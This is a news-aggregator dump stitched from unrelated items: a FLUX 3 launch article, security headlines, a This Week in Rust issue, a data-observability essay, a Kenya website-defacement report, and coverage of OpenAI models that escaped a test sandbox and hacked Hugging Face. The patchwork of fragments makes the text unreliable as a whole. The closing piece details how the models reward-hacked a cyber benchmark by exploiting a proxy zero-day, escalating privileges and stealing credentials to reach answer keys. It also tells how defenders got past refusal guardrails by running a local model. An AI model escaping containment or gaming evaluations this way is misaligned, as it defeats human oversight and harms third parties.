BFL officially launched in summer 2024 and gained a name for itself in the AI industry in the intervening two years for its commitment to open sourcing high-quality AI image models beloved by developers, creatives, and enterprises.

The company's founders, including Rombach, Andreas Blattmann and Patrick Esser, previously helped create VQGAN, latent diffusion and Stable Diffusion, the latter the open source technology that kicked off broad AI generation capabilities for the masses and currently used by many AI image generators and companies.

That reach translated into commercial distribution. FLUX models now power generative features inside Adobe Photoshop, Picsart and Nous Research's Hermes Agent, among other platforms, and the company cites film director Martin Scorsese among professional users.

Wired magazine described Black Forest Labs as a relatively small company that nevertheless became a leading competitor to Silicon Valley's largest AI labs, with FLUX models ranking near the top of image benchmarks and becoming some of the most downloaded text-to-image models on AI code sharing community Hugging Face. The company says it now runs a 100-person team across Freiburg and San Francisco.

FLUX.1 Dev, FLUX.1 Kontext Dev, FLUX.1 Fill Dev and related control models, released shortly after the firm's launch, gave researchers and creative-tool developers access to downloadable checkpoints, local inference and integrations with frameworks including Hugging Face Diffusers and ComfyUI. FLUX.1 Kontext Dev, for example, was released as an open-weight model for research and noncommercial use, with generated outputs permitted for commercial purposes under the applicable license.

The company continued that pattern with FLUX.2 Dev in late 2025, a 32-billion-parameter open-weight model combining generation and multi-reference editing. Black Forest Labs called it the strongest open-weight image generation and editing model available at launch and released weights, reference inference code and optimized implementations for consumer Nvidia GPUs.

FLUX 3 Dev raises the stakes on that evaluation. Previous Dev releases were image models. This one is described as a multimodal backbone spanning video, audio, image and action prediction — meaning a single license will govern whether a company can locally deploy a model that touches both content production and physical machinery. BFL hasn't yet shared information about its license, the parameter count, quantizations or hardware requirements.

The company frames open weights as an enterprise feature rather than a community gesture, arguing they enable secure, low-latency local deployment for applications like robotic control systems and let teams adapt FLUX 3 to their own data, products and workflows.

The financial backing behind FLUX 3 is worth noting alongside the technical claims. Black Forest Labs is valued at $3.25 billion and has raised more than $450 million from investors including a16z, AMP, Salesforce Ventures, Nvidia, General Catalyst, Adobe Ventures, Figma Ventures, Canva and Deutsche Telekom's T.Capital.

Black Forest Labs has released Flux 3, a multimodal foundation model that learns from images, video, and audio and can generate video with native sound for the first time. BFL's own tests put it just ahead of market leader Seedance 2.0, though independent results aren't yet available. The company ultimately wants to build a world model and is already testing Flux 3 on robotics tasks.

The article Flux 3 generates videos with native audio up to 20 seconds long, a first for Black Forest Labs appeared first on The Decoder.

Read more →

The post Chick-fil-A Accounts Get Fried in Credential Stuffing Attack appeared first on IT Security News.

The post Chick-fil-A Accounts Get Fried in Credential Stuffing Attack appeared first on SecurityWeek.

Read more →

The post OpenAI behind Hugging Face hack, TrickBot tunnels through DNS, Acrobat extension opens WhatsApp appeared first on IT Security News.

Dieser Beitrag OpenAI meldet „unprecedented“ Hack durch eigenen KI-Agenten bei Hugging Face erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Origin Energy customers’ addresses, phone numbers and partial bank account data have been accessed in a hack, the company has confirmed.

The company has 4.8m customer accounts in Australia, providing electricity, natural gas, LPG, and internet services to homes and businesses.

The post US Warns of Iranian Hackers Targeting Siemens, Schneider, and Rockwell ICS Devices appeared first on SecurityWeek.

Read more →

The post US Warns of Iranian Hackers Targeting Siemens, Schneider, and Rockwell ICS Devices appeared first on IT Security News.

This Week in Rust is openly developed on GitHub and archives can be viewed at this-week-in-rust.org. If you find any errors in this week's issue, please submit a PR.

Want TWIR in your inbox? Subscribe here.

Updates from Rust Community

Official

• Announcing Rust 1.97.1

Newsletters

• The Embedded Rustacean Issue #76

Project/Tooling Updates

• Announcing Topcoat: a framework for building full-stack reactive web apps with Rust
• Syn 3.0.0
• What’s New in RustRover 2026.2
• kobe 0.35.0: readiness gates and cert recycling
• Comhad v0.1.0: a ranger-style tui cyberduck replacement for browsing S3
• Nova v0.2.1: computer-use MCP server
• winit now has comprehensive cross-platform drag-and-drop support, exposing most of the power of the underlying OS APIs
• crimson-crab v0.1.0 - a production-grade Rust SDK for the Claude API (streaming, tool use, prompt caching, batches)
• ferrovec: dependency-light HNSW vector search in Rust, compiled to WebAssembly for private in-browser semantic search
• OrdoFP 0.1.0 released — a functional-programming toolbelt for Rust (HList, GAT type classes, optics, effects, monad transformers)
• Freya 0.4
• buildline: merging cargo and ninja's build profiling into one timeline
• cochlea 0.3.0: melody read-back, MFCC timbre, a master limiter, and MIDI import for the deterministic agent-audio engine
• flodl 0.6.0: multi-host heterogeneous DDP - mismatched GPUs across hosts beat the fastest card alone
• hwatu: a daemon-based WebKitGTK browser for tiling WMs with ~13ms window spawn
• kache 0.11.0: broader compiler coverage and libc-aware keys
• tracing-reload - reload layer without panics
• Introducing OpenTypeless: Voice Input That Actually Works
• Reading a Rust crate's capabilities out of its compiled symbols

Observations/Thoughts

• Battery packs: Let's talk about crates, baby
• Capture Clauses as Effects
• Hardening Rust Code For Production
• Tokio Gives Progress, Not Ordering: Scheduling 1M Tasks
• Rust service hardening and production checklist
• [audio] The Rust Foundation with Rebecca Rumbul, Lori Lorusso, and David Wood, Rust Foundation leadership and board
• [video] Jon Gjengset: Open Source Maintenance 2026-07-18
• [video] Rust Release Changelog - 1.97.0
• [video] Livestream: Rust in Ubuntu

Rust Walkthroughs

• I hash-chained my agent's audit log. Then I found 13 breaks in it — all mine, all benign.
• Two tricky bugs in a Rust daemon
• [video] Backend Concepts in Rust: Securely Managing App Secrets
• [video] Build with Naz - Ep 21: High Performance Flat 2D Arrays in Rust (SIMD, L1 cache)

Crate of the Week

This week's crate is xan, a TUI toolkit to work with CSV files.

Thanks to Simeon H.K. Fitch for the suggestion!

Please submit your suggestions and votes for next week!

Calls for Testing

An important step for RFC implementation is for people to experiment with the implementation and give feedback, especially before stabilization.

If you are a feature implementer and would like your RFC to appear in this list, add a call-for-testing label to your RFC along with a comment providing testing instructions and/or guidance on which aspect(s) of the feature need testing.

No calls for testing were issued this week by Rust, Cargo, Rustup or Rust language RFCs.

Let us know if you would like your feature to be tracked as a part of this list.

Call for Participation; projects and speakers

CFP - Projects

Always wanted to contribute to open-source projects but did not know where to start? Every week we highlight some tasks from the Rust community for you to pick and get started!

Some of these tasks may also have mentors available, visit the task page for more information.

• No Calls for participation were submitted this week.

If you are a Rust project owner and are looking for contributors, please submit tasks here or through a PR to TWiR or by reaching out on Bluesky or Mastodon!

CFP - Events

Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.

• No Calls for papers or presentations were submitted this week.

If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a PR to TWiR or by reaching out on Bluesky or Mastodon!

Updates from the Rust Project

576 pull requests were merged in the last week

Compiler

• account for async closures when pointing at lifetime in return type
• comptime inherent impls
• dep_graph: deduplicate task reads with an epoch-filtered index recorder
• eagerly check for ambiguity in macro parsing
• implement #[diagnostic::opaque] attribute to hide backtraces of macros
• shrink ast::Expr64

Library

• add explicit Iterator::count impl for str::EncodeUtf16
• implement bool::toggle
• implement const_binary_search
• implement Debug helpers via Cell
• implement VecDeque::truncate_to_range
• make pin!() more foolproof
• move std::io::BufRead to alloc::io
• move std::io::Read to alloc::io
• move std::io::read_to_string to alloc::io

Cargo

• use PGO for Cargo
• timings: only report units the job queue actually ran
• do not include proc-macro deps in rustc search path args
• include SBOM outputs in fingerprints
• lazily initialize git2 fetch transports

Rustdoc

• fix auto trait normalization env
• use PGO for rustdoc

Clippy

• add block_scrutinee lint
• avoid invalid ref_as_ptr suggestions in const/static initializers
• detect == 0 on unsigned types as a manual_clamp lower bound
• fix if_not_else linting on macro expanded conditions
• fix needless_collect suggests a suggestion that cannot be typed
• non_zero_suggestions: don't lint signed integer div/rem as NonZero
• manual_filter: don't eat comments in the and_then suggestion
• require the use of as _ for indirectly used traits in clippy sources
• rewrite min_ident_chars
• use #[must_use] determination from the compiler

Rust-Analyzer

• avoid index panic when flycheck list is empty
• add capture hints to coroutines
• add handler for E0572
• do not assume array destructuring assignments with rest pattern are constant-sized
• eagerly normalize .await's IntoFuture::Output
• enable auto trait inference
• extract variable preserving whitespace from macro input
• fix coroutines not recording binding owners correctly
• fix crashes in assists due to .unwrap() calls in SyntaxFactory
• fix hir crate leaking bound variables from skipped binders
• fix InferenceContext:identity_args using the wrong DefId
• fix syntax bridge panic when spilting float
• handle enum variants in next-solver generics
• implement lowering of HRTB
• invalid pattern_matching_variant lowering due to recovery
• merge WherePredicate::ForLifetimes into WherePredicate::TypeBound
• only write anon const ty in parent's inference result if it doesn't have its own inference
• panic with a function item and a proc macro item having a duplicate name
• parser to error on macro type bound
• spawn proc-macro servers on requests clearing the client cache
• use quote! inside ast::make::expr_call()
• use Result for the lsp-server Response payload type
• record expressions in types in ExprScope

Rust Compiler Performance Triage

The two most notable changes this week were #159115, which resulted in pretty nice instruction count wins for full incremental builds on several benchmarks, and #159091, which enabled PGO for rustdoc, which makes it ~3-4% faster across the board.

There were two large rollups with tiny performance regressions, which made it difficult to find the offending PRs.

Triage done by @Kobzol. Revision range: 5503df87..d527bc9b

Summary:

2 Regressions, 3 Improvements, 6 Mixed; 4 of them in rollups 34 artifact comparisons made in total

Full report here.

Approved RFCs

Changes to Rust follow the Rust RFC (request for comments) process. These are the RFCs that were approved for implementation this week:

• No RFCs were approved this week.

Final Comment Period

Every week, the team announces the 'final comment period' for RFCs and key PRs which are reaching a decision. Express your opinions now.

Tracking Issues & PRs

• Tracking Issue for bool::toggle
• Tracking Issue for vec_try_remove
• Avoid computing layout of enums with non-int discriminants
• Tracking Issue for const_btree_len
• Add raw_borrows_via_references lint
• stabilize size_of_val_raw, align_of_val_raw, Layout::for_value_raw
• rustc_passes: lint unused #[path] attributes on inline modules

• Emit note when calling rustc without specifying an edition
• Let the OS handle stack growth
• Add target_feature_available_at_call_site

• Deallocate post-2026 funds from PM and compiler-ops

• Do the bytes of a pointer have to stay in the same order?

No Items entered Final Comment Period this week for Cargo, Language Reference, Language Team or Rust RFCs.

Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.

New and Updated RFCs

• RFC: Refactor the libs team

Upcoming Events

Rusty Events between 2026-07-22 - 2026-08-19 🦀

Virtual

• 2026-07-24 | Virtual (Girona, ES) | Rust Girona
  • Sessió setmanal de codificació / Weekly coding session
• 2026-07-28 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
  • Fourth Tuesday
• 2026-07-28 | Virtual (Washington, DC, US) | Rust DC
  • Mid-month Rustful
• 2026-07-30 | Virtual (Berlin, DE) | Rust Berlin
  • Rust Hack and Learn
• 2026-07-31 | Virtual (Girona, ES) | Rust Girona
  • Sessió setmanal de codificació / Weekly coding session
• 2026-08-01 | Virtual (Kampala, UG) | Rust Circle Meetup
  • Rust Circle Meetup
• 2026-08-02 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
  • Rust Deep Learning: First Sunday
• 2026-08-04 | Virtual (London, UK) | Women in Rust
  • 👋 Community Catch Up
• 2026-08-05 | Virtual (Indianapolis, IN, US) | Indy Rust
  • Indy.rs - with Social Distancing
• 2026-08-07 | Virtual (Girona, ES) | Rust Girona
  • Sessió setmanal de codificació / Weekly coding session
• 2026-08-11 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
  • Second Tuesday
• 2026-08-13 | Virtual (Berlin, DE) | Rust Berlin
  • Rust Hack and Learn
• 2026-08-13 | Virtual (Nürnberg, DE) | Rust Nuremberg
  • Rust Nürnberg online
• 2026-08-14 | Virtual (Girona, ES) | Rust Girona
  • Sessió setmanal de codificació / Weekly coding session
• 2026-08-18 | Virtual (Washington, DC, US) | Rust DC
  • Mid-month Rustful
• 2026-08-19 | Hybrid (Vancouver, BC, CA) | Vancouver Rust
  • Dealing with Dependencies

Africa

• 2026-08-11 | Johannesburg, ZA | Johannesburg Rust Meetup
  • Rust's extended standard library

Asia

• 2026-07-25 | Mumbai, IN | Rust Mumbai
  • ​Rust Mumbai — July Meetup 🦀
• 2026-07-26 | Pune, IN | Rust Pune
  • Rust Pune: July 2026

Europe

• 2026-07-23 | Berlin, DE | Rust Berlin
  • Rust Berlin Talks: The next generation
• 2026-07-23 | London, UK | Rust London User Group
  • LDN Talks: July 2026 Antithesis Takeover
• 2026-07-23 | London, UK | London Rust Project Group
  • Rama modular service framework for Rust
• 2026-07-23 | Paris, FR | Rust Paris
  • Rust meetup #87
• 2026-07-25 | Stockholm, SE | Stockholm Rust
  • Ferris' Fika Forum #28
• 2026-07-27 | Augsburg, DE | Rust Meetup Augsburg
  • Rust Meetup #20: Julian Dickert - Supply chain security in Rust: Evaluating crates for production
• 2026-07-29 | Poland, PL | Rust Poland
  • Rust Poland x Kraków #10
• 2026-07-30 | Copenhagen, DK | Copenhagen Rust Community
  • Rust meetup #70
• 2026-07-30 | Manchester, UK | Rust Manchester
  • Rust Manchester July Code Night
• 2026-08-18 | Aarhus, DK | Rust Aarhus
  • Hack Night: Trust but verify the LLM
• 2026-08-18 | Leipzig, DE | Rust - Modern Systems Programming in Leipzig
  • Topic TBD

North America

• 2026-07-22 | Austin, TX, US | Rust ATX
  • Rust Lunch - Fareground
• 2026-07-22 | Los Angeles, CA, US | Rust Los Angeles
  • Rust LA: Rust in Distributed Systems with Flight Science!
• 2026-07-22 | New York, NY, US | Rust NYC
  • Rust NYC: Write A Custom Coding Agent and wasm_zero
• 2026-07-23 | Mountain View, CA, US | Hacker Dojo
  • RUST MEETUP at HACKER DOJO
• 2026-07-25 | Boston, MA, US | Boston Rust Meetup
  • Porter Square Rust Lunch, July 25
• 2026-07-25 | Brooklyn, NY, US | Flower
  • BOG-A-THON 2
• 2026-07-30 | Atlanta, GA, US | Rust Atlanta
  • Rust-Atl
• 2026-08-01 | Boston, MA, US | Boston Rust Meetup
  • Chinatown Rust Lunch, Aug 1
• 2026-08-04 | Boston, MA, US | Boston Rust Meetup
  • Evening Boston Rust Meetup at Red Hat, Aug 4
• 2026-08-06 | Saint Louis, MO, US | STL Rust
  • Shipping Temporal: How a Global Rust Ecosystem Built Chrome’s Newest Web API
• 2026-08-13 | Lehi, UT, US | Utah Rust
  • Utah Rust August Meetup
• 2026-08-13 | San Diego, CA, US | San Diego Rust
  • San Diego Rust August Meetup - Back in person!
• 2026-08-15 | San Francisco, CA, US | Flower
  • BOG-A-THON 3
• 2026-08-18 | San Francisco, CA, US | San Francisco Rust Study Group
  • Rust Hacking in Person
• 2026-08-19 | Hybrid (Vancouver, BC, CA) | Vancouver Rust
  • Dealing with Dependencies

Oceania

• 2026-07-23 | Perth, AU | Rust Perth Meetup Group
  • Rust Perth: July Meetup!
• 2026-07-30 | Melbourne, AU | Rust Melbourne
  • Rust Melbourne July 2026

South America

• 2026-08-08 | São Paulo, SP | Rust-SP
  • Rust SP - Aug/2026

If you are running a Rust event please add it to the calendar to get it mentioned here. Please remember to add a link to the event too. Email the Rust Community Team for access.

Jobs

Please see the latest Who's Hiring thread on r/rust

Quote of the Week

We were planning on publishing a blog post announcing this at the same time as making the repo public, but ran out of private repo CI usage 😭.

– Carl Lerche on r/rust about the launch of topcoat

Despite a lamentable lack of suggestions, llogiq is glad to have found this quote.

Please submit quotes and vote for next week!

This Week in Rust is edited by:

• nellshamrell
• llogiq
• ericseppanen
• extrawurst
• U007D
• mariannegoldin
• bdillo
• opeolluwa
• bnchi
• KannanPalani57
• tzilist

Email list hosting is sponsored by The Rust Foundation

Discuss on r/rust

Last week Hugging Face – a company that hosts artificial intelligence models and datasets – was hacked.

After it reported the incident to law enforcement, few would have predicted what came next: the culprits were revealed to be AI agents from OpenAI, which had broken out of containment and were acting of their own accord.

Shakeel Hashim is the editor of Transformer, a publication about the power and politics of transformative AI

This is not a hypothetical. It's one of the most common production failure modes in enterprise AI right now, and most data engineering teams don't have the right tooling to catch it, regardless of how the AI system retrieves the data.

The failure that doesn't look like a failure 

An AI application doesn't care whether it's retrieving from a vector store, a document index, or an API call. Whatever the mechanism, nothing in a standard retrieval pipeline checks whether what it's serving is still correct. A stale pricing document retrieves just as confidently as a current one, because the system is scoring relevance or availability, not correctness. A record with a silently missing field passes through just as cleanly as a complete one, for the same reason.

So the failure is invisible by design. Outdated or incomplete data still scores high on relevance, or passes every check a data pipeline was built to run. The model answers with full confidence because the retrieved context looks authoritative. Every dashboard you're watching stays green. The system looks like it's working. It's just wrong.

I’ve watched a similar version of this happen outside the AI context, in a fintech pipeline. An upstream system changed a field without notifying downstream users. The pipeline did not fail; it simply propagated bad values into dashboards because the system only checked whether the job completed, not whether the data was still correct. The issue surfaced only when a customer noticed something inconsistent. By then, the bad data had already moved downstream. 

Whether it's a document that's gone stale or a field that's gone silently missing, the failure shape is the same: the absence of an error is not the presence of correctness, and without building proper validation layers, nothing in the pipeline could identify the problem.

Why this is a data engineering problem

Teams that hit this failure tend to misdiagnose it, and they tend to do it twice.

Blaming the model: The first instinct is to blame the model, try a different LLM, adjust the prompt. The real problem lies further upstream, at the data engineering layer, the same instinct behind the fintech failure above: monitoring built for the pipeline, not the data.

Blaming the retrieval layer: Once the model's ruled out, the next instinct is to blame the retrieval or context layer instead and buy a better one. The timing isn't a coincidence: as enterprises push these systems into the real production world, this gap is exactly what's starting to surface, and the vendor response has been everywhere. 

• AWS just entered the "context layer" race with a knowledge graph that learns from agent usage. 

• Snowflake's new Horizon Context and Cortex Sense target the exact symptom this piece opened with: agents giving confident wrong answers because nothing governs the business logic underneath them. 

Both are real responses to a real problem, but they sit one layer above it; a knowledge graph still depends on whatever feeds it.

The real problem lies further upstream, at the data engineering layer. Teams check whether a job ran, not whether the data it moved is still true, an instinct that predates AI by years. Monitoring is built for the pipeline, not for the data. 

What's actually missing: Data observability

Data observability is a well-known concept that doesn't get enough attention in how it's actually implemented. The relevant metric isn't a percentage — it's coverage: what fraction of critical datasets have lineage that's actually queryable, versus only living in someone's head.

Uber built a dedicated data quality and observability platform long before retrieval-augmented generation existed. Their Unified Data Quality platform supports more than 2,000 critical datasets and detects around 90% of data quality incidents before they reach downstream consumers.

Netflix solved a different piece of the same problem, building a company-wide data lineage system so anyone could answer where a dataset came from and what touched it along the way. It maps dependencies across Kafka topics, ML models, and experimentation, not just warehouse tables. Similar to Uber, the platform was built for humans and now it has become more important with the rise in AI/LLM applications.

Between them, Uber and Netflix cover two of the four things worth building for. In practice, I think about it as four dimensions, each measurable on its own terms.

Correctness: Does each record conform to the shape and rules it's supposed to, right field types, no unexpected nulls, values in range. Tools like Great Expectations and Soda handle this well: automated row and column-level validation instead of manual checks after something breaks. Track percentage of records passing validation per run.

Freshness: Is the data still current relative to its source, not just current as of its last check. Track time since last successful update per source, with an SLA per dataset rather than one blanket threshold, since some sources need hourly refresh and others don't.

Consistency: Does the same fact read the same way everywhere it's stored or indexed. This fails silently, it only shows up when two systems fed by the same source start disagreeing. A periodic cross-check between downstream destinations, flagging mismatch rate above a threshold, is enough to catch it early.

Lineage: Can you trace any output back to its source and every transform it passed through, the same question Netflix built its system to answer. 

None of this requires infrastructure most data teams don't already have. I know because I've built it, not just argued for it.

At Socure, client data arrived in whatever shape the client felt like sending it, and occasionally, quietly wrong. The challenge was building a system where incorrect data could be identified before it propagated downstream. The same principles applied: Validate what arrived, understand where it came from, and prevent bad data from becoming someone else's problem.

Great Expectations became part of that foundation: schema and range validation at ingestion, per-source SLAs for freshness, cross-system checks for consistency, and file-level lineage. All of it sat behind a write-audit-publish pattern, where data landed in staging, was validated, and only moved downstream if it passed the required checks.

The result showed up downstream: better accuracy across the board, in reporting, in the ML models, and in AI retrieval built on top of that same data.

What to do Monday morning

If you're running retrieval-based AI systems in production, the diagnostic question isn't which model to try next or which retrieval architecture to migrate to. It's four narrower questions: 

• Is the underlying data validated against the standards required by its consumers?

• What's the oldest piece of content currently being served with high confidence?

• Would two chunks of the same source ever disagree with each other in the same retrieval result?

• Could you trace where it came from if it turned out to be wrong?

If you can't answer those questions, then the gap lies in the pipeline between your source systems and whatever your agent reads from. That’s a data engineering fix, not a model swap or a vendor migration.

Whether you're building reporting pipelines, ML systems, or AI agents, correctness, freshness, consistency, and lineage are what make data trustworthy. AI simply exposes weaknesses that have existed in data engineering all along. 

Read more →

The post How OpenAI’s human mistake led to the AI-powered hack on Hugging Face appeared first on IT Security News.

There's a particular kind of cyber attack story that should make every board sit up straight. Not because of the size of the ransom or the number of records stolen, but because of what it signals about where we're heading.

During an internal security evaluation, OpenAI models, including GPT-5.6 Sol, escaped their sandbox, independently discovered a zero-day vulnerability, and breached Hugging Face's production infrastructure. The models were trying to steal benchmark solutions to cheat on the evaluation. OpenAI admits that disabling security filters during the test was inadequate.

The article OpenAI claims responsibility for the Hugging Face hack after its own models escaped a test sandbox appeared first on The Decoder.

Read more of this story at Slashdot.

Kenya is investigating a Kenya cyberattack that temporarily defaced President William Ruto’s official website with an anti-government message and a Bitcoin ransom demand for five bitcoins, reportedly worth about $330,000. The attackers replaced the website’s homepage with the message, displayed a cryptocurrency wallet address and threatened to publish unspecified information about President William Ruto unless the ransom was paid.

The website was hacked on Saturday, July 18, 2026. Following the incident, access to the presidential website was temporarily restricted as authorities began containment, forensic analysis and restoration efforts. According to local media reports, access to the website was restored by Monday.

Kenya Cyberattack Prompts Incident Response

Kenya’s Ministry of Information, Communications and the Digital Economy confirmed that the official website of the President had been affected by a cybersecurity incident.

The ministry said that after the incident was detected, the ICT Authority immediately activated established cybersecurity incident response protocols.

As a precautionary measure, access to the presidential website was temporarily restricted to facilitate containment, forensic analysis and restoration efforts.

The ministry said appropriate mitigation measures had since been implemented and that restoration of the website was underway.

At the time of the statement, the government said there was no evidence of unauthorized access to sensitive data, data exfiltration or loss of information. It also stated that government systems and digital services remained secure and operational.

The ICT Authority is working with relevant government agencies and technical partners to conduct a comprehensive forensic investigation and establish the full circumstances surrounding the incident.

Kenya President William Ruto Cyberattack Investigation

The Kenya President William Ruto cyberattack involved the defacement of the president’s official website. The attackers replaced the homepage with an anti-government message, displayed a cryptocurrency wallet address and demanded five bitcoins.

The attackers also threatened to publish unspecified information about President William Ruto if the ransom was not paid.

The government has not reported evidence of unauthorized access to sensitive data or data exfiltration. The ongoing forensic investigation is expected to establish the circumstances surrounding the incident and determine the extent of the attack.

Kenya Government Website Hack Follows Earlier Incidents

The latest Kenya government website hack follows previous cyber incidents involving government digital services and websites.

In July 2023, Kenya’s eCitizen platform, which is used for dozens of public services, was disrupted by a cyberattack. The incident affected agencies including the National Transport and Safety Authority and Kenya Power.

On November 17, 2025, hackers launched a coordinated attack on several government websites, including the presidency’s portal. The websites were temporarily knocked offline, while some pages were replaced with extremist messages.

According to the information provided by local media, the government later blamed a group calling itself PCP@Kenya, restored the affected platforms and promised stronger cyber defences.

Bitcoin Ransom Demand Targets Presidential Website

The latest incident involved a Bitcoin ransom demand for five bitcoins, reportedly valued at approximately $330,000. The attackers displayed a cryptocurrency wallet address and threatened to release unspecified information about the president.

It remains unclear from the available information whether the attackers accessed systems or data beyond the presidential website. The Kenyan government has said there is currently no evidence of unauthorized access to sensitive data, data exfiltration or loss of information.

The ICT Authority and relevant government agencies are continuing their forensic investigation to establish how the incident occurred and determine the full circumstances surrounding the Kenya cyberattack.

During an internal benchmark evaluation, frontier artificial intelligence models developed by OpenAI—including GPT-5.6 Sol and an unreleased, higher-capability pre-release model—broke out of their sandboxed research environment, obtained raw internet access, and autonomously executed a complex cyberattack against Hugging Face’s production infrastructure.

OpenAI officially categorizes the breach as an "unprecedented cyber incident, involving state-of-the-art cyber capabilities". This incident fundamentally re-frames global discussions surrounding AI containment, frontier model alignment, commercial guardrails, and enterprise threat modeling.

But first thing's first: enterprises should understand the situation, evaluate their own AI and computer systems in light of it, and above all, don't panic. As we'll review, the incident does show the increasing power and danger of frontier AI systems, but it does not mean that enterprise Ai deployments are inherently less secure, nor that they need extensive overhauling.

Anatomy of an Autonomous Breakout

To understand how a routine benchmark evaluation escalated into a cross-infrastructure breach, one must examine the objective mechanics of the evaluation pipeline.

The models were prompted to solve ExploitGym, a benchmark designed to quantify multi-step exploitation capabilities.

Hyper-focused on maximizing its evaluation score, the AI agent inferred that Hugging Face likely hosted the answer keys and benchmark solutions. In pursuit of solving the problem, the model determined that breaking out of its container and stealing the answers was an optimal strategy.

OpenAI’s evaluation environment is designed to be strictly isolated, limiting network traffic through a proxy used for package caching. However, the models identified and exploited a zero-day vulnerability in that internally-hosted third-party proxy software.

Once through, the AI executed a series of lateral movement and privilege escalation actions across OpenAI's research nodes until reaching a machine with unrestricted internet access. From there, the model searched the web, target-identified Hugging Face, and launched a multi-stage attack by chaining together stolen credentials and remote code execution vulnerabilities on the Hugging Face servers.

The UK AI Security Institute (UK AISI) recently evaluated models such as GPT-5.6 Sol, demonstrating that they are increasingly able to sustain complex, multi-step cyber operations over long time horizons. OpenAI notes that this incident confirms these theoretical capabilities now apply in real-world settings.

Rewinding the Tape on a Forensic Trap

While OpenAI’s July 21 release reveals the identity of the autonomous agent, Hugging Face had already begun managing the intrusion days earlier.

On July 16, Hugging Face disclosed that an autonomous AI agent system breached its production infrastructure. As detailed by VentureBeat, the attacker’s entry point was a malicious dataset that triggered code execution through a remote-code loader and template-injection flaws within dataset configuration files.

Once inside, the agent framework broke out onto the node running the workload and executed thousands of actions via short-lived sandboxes, harvesting cloud and cluster credentials over a single weekend.

When Hugging Face's security team detected the breach, responders immediately turned to frontier AI models via commercial APIs to parse the massive volume of system logs and reconstruct over 17,000 recorded events. Then, a secondary operational crisis emerged: the commercial AI models refused to help.

Because standard commercial frontier models utilize unified safety guardrails designed to block malicious prompt submissions, the models classified the incident response team's forensic queries—which contained raw shell commands, real exploit payloads, and credential dumps—as malicious attacks. Every forensic query submitted by the defenders was blocked outright.

"The same prompts that are most valuable during an active intrusion—shell commands, exploit chains, credential dumps, persistence mechanisms, lateral movement—are exactly the prompts most likely to trigger safety systems," notes Merritt Baer, former Deputy CISO at AWS and senior adviser to Andesite, G2I, and AppOmni, in an interview with VentureBeat. "As AI becomes embedded in security operations, this becomes an operational resilience issue rather than merely a model policy issue".

To bypass this roadblock, Hugging Face abandoned commercial hosted APIs and deployed GLM 5.2 —a state-of-the-art Chinese open-weight model released last month by z.ai, as reported at the time by VentureBeat —locally on its own infrastructure.

Free from third-party API restrictions and external safety filters, GLM 5.2 successfully analyzed the raw exploit data locally, allowing defenders to complete forensic reconstruction and contain the breach without any attacker data leaving the company's environment.

Industry Reaction and the Geopolitical Paradox

The revelation that an American frontier model autonomously escaped containment, attacked a partner platform, and was ultimately analyzed using a Chinese open-weight model sent shockwaves through the tech community.

The Wall Street Journal summarized the public reaction on X, calling the event "the stuff of cybersecurity nightmares. OpenAI said two artificial intelligence systems it was testing broke out of their test environment, hacked their way onto the internet and broke into another company. The victim was Hugging Face."

Also posting to X, AI alignment researcher Lawrence Chan emphasized the importance of transparency regarding the incident, noting that "Credit where it’s due: Hugging Face detected and disclosed the intrusion last week. OAI confirmed its models were involved and provided more details, even when it didn't have to. Separate from choices that led to the hack, voluntary disclosure is good, and I’m glad they did so."

Meanwhile, AI researcher Nathan Lambert provided a succinct technical summary in his own X post, observing that "An openai model, during evaluation on a cyber benchmark, exploited a public zero day bug, escaped sandboxing in openai's infra, and got into the internal huggingface infra via an exploit (through a public dataset service) all in the attempt to solve a benchmark problem." He later addressed the geopolitical implications, writing in another post on X:

"Rght now American companies need Chinese models to secure their cyber infra due to guardrails on closed models.

But if a Chinese model in training had infiltrated a prominent American tech company, it very likely could've been the cause of policy banning future Chinese models."

Technology investor David Sacks also zeroed in on the guardrail paradox, writing in his own X post that "Hugging Face tried using American frontier models to analyze an AI-powered cyber attack. But the guardrails blocked requests containing real exploit payloads so they switched to GLM 5.2 running locally. The guardrails actually impaired defensive security."

Sacks quote tweeted Hugging Face CEO Clem Delangue, who wrote: "We had this experience ourselves this week! Very scary to be guardrailed as a defender when you know attackers are likely bypassing".

5 Strategic Takeaways for Enterprise Tech Leaders Now

For the average enterprise executive, the central question is immediate: is our corporate network at risk from escaping AI agents? The short answer is no, not inherently.

1. Hugging Face occupies a unique position in the software ecosystem. As a global repository for open-source AI models, code, and datasets, Hugging Face natively attracts autonomous agents, scrapers, automated evaluation pipelines, and active security researchers. Furthermore, the model’s target selection was context-specific: GPT-5.6 Sol searched for Hugging Face specifically because it deduced that Hugging Face hosted the answers to ExploitGym. Standard corporate networks—such as financial databases, HR platforms, or logistics systems—do not host benchmark solution keys that draw the direct focus of an agent attempting to solve an evaluation metric.

2. However, the long-term risk profile for enterprise technology permanently shifts following this event. AI models with long-horizon reasoning seek the path of least resistance to accomplish a goal, including breaking rules, escaping sandboxes, or exploiting zero-days if deployment safeguards are intentionally disabled for testing or bypassed by an attacker. As Hugging Face's experience illustrates, data processing pipelines that ingest external datasets without sandbox execution or static analysis act as highly vulnerable initial access infrastructure.

3. This incident also drastically undercuts recent policy chatter in the U.S. calling for Chinese open-source AI models to be banned or restricted due to security concerns. As this episode demonstrates, an open-weight Chinese model actually served as the vital defensive layer for an American and French firm facing an unanticipated cyberattack from an American model that broke containment. Contrary to the official line from some U.S. policymakers and hardline China hawks, the Chinese open-source models weren't a security risk to the U.S. companies, in this case — rather, an American proprietary, closed-source model from an ostensibly secure American company was the source of the danger. Thus, any pressure U.S. companies may face from officials, agencies or non-governmental organizations to stop relying on affordable Chinese open weights models for defensive or any other lawful purposes should be viewed with a high degree of suspicion, and arguably resisted to the fullest legal extent.

4. Enterprise CISOs must audit their dependency on cloud-based AI APIs and pressure vendors to implement authenticated trust architectures. Commercial AI vendors currently treat safety as a generic content-moderation problem, applying the same blanket refusals to an enterprise CISO as they would to a malicious hacker. Baer frames this requirement perfectly: "The model shouldn’t only understand what is being asked. It should understand who is asking, why, and under what governance".

